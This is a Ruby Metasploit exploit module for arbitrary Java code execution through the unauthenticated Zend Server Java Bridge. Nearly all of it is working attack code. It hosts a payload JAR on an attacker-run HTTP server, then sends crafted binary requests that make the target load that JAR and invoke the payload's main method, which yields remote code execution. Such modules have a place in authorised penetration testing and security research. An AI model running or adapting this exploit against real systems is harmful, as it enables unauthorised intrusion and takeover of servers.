Zend Server Java Bridge – Arbitrary Java Code Execution (Metasploit)
## # $Id: zend_java_bridge.rb 12242 2011-04-05 01:08:07Z swtornio $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::HttpServer include Msf::Exploit::Remote::Tcp def initialize(info = {}) super(update_info(info, 'Name' => 'Zend Server Java Bridge Arbitrary Java Code Execution', 'Description' => %q{ This module takes advantage of a trust relationship issue within the Zend Server Java Bridge. The Java Bridge is responsible for handling interactions between PHP and Java code within Zend Server. When Java code is encountered Zend Server communicates with the Java Bridge. The Java Bridge then handles the java code and creates the objects within the Java Virtual Machine. This interaction however, does not require any sort of authentication. This leaves the JVM wide open to remote attackers. Sending specially crafted data to the Java Bridge results in the execution of arbitrary java code. }, 'Author' => [ 'bannedit' ], 'License' => MSF_LICENSE, 'Version' => '$Revision: 12242 $', 'References' => [ [ 'OSVDB', '71420'], [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-11-113/'], [ 'URL', 'http://www.exploit-db.com/exploits/17078/' ], ], 'Platform' => ['java'], # win 'Arch' => ARCH_JAVA, 'Privileged' => true, 'Targets' => [ [ 'Linux', {}], [ 'Windows', {}], ], 'DisclosureDate' => 'Mar 28 2011', 'DefaultTarget' => 0)) register_options( [ Opt::RPORT(10001) ], self.class) end def exploit start_service() send_java_require end def send_java_require() connect jar = rand_text_alpha(rand(8)+1) + '.jar' path = get_uri + '/' + jar uri_len = path.length java_require = [0xffffffff, 0x16000000].pack('V*') + "setAdditionalClassPath" + [0x01000000, 0x00000004].pack('V*') + [uri_len].pack('C') + path java_require = [java_require.length].pack('N') + java_require print_status("Sending java_require() request... #{path}") sock.put(java_require) res = sock.get_once select(nil, nil, nil, 5) # wait for the request to be handled create_and_exec end def create_and_exec print_status("Sending Final Java Bridge Requests") create_obj = [0x34000000, 0x00000000, 0x0c000000].pack('V*') + "CreateObject" + [0x02000000, 0x00000004].pack('V*') + [0x12].pack('C') + "metasploit.Payload" + [0x07000000].pack('N') + [0x00].pack('C') sock.put(create_obj) res = sock.get_once obj_id = res[5,4] callmain = [0x1f000000].pack('V') + obj_id + [0x04000000].pack('V') + "main" + [0x01000000, 0x00000008, 0x00000201, 0x00040000].pack('V*') + [0x00].pack('C') + [0x00].pack('C') + [0x00].pack('C') sock.put(callmain) sock.get_once handler() end def on_request_uri(cli, request) if request.uri =~ /\.jar$/i send_response(cli, payload.encoded, { 'Content-Type' => 'application/java-archive', 'Connection' => 'close', 'Pragma' => 'no-cache' }) print_status("Replied to Request for Payload JAR") end end end |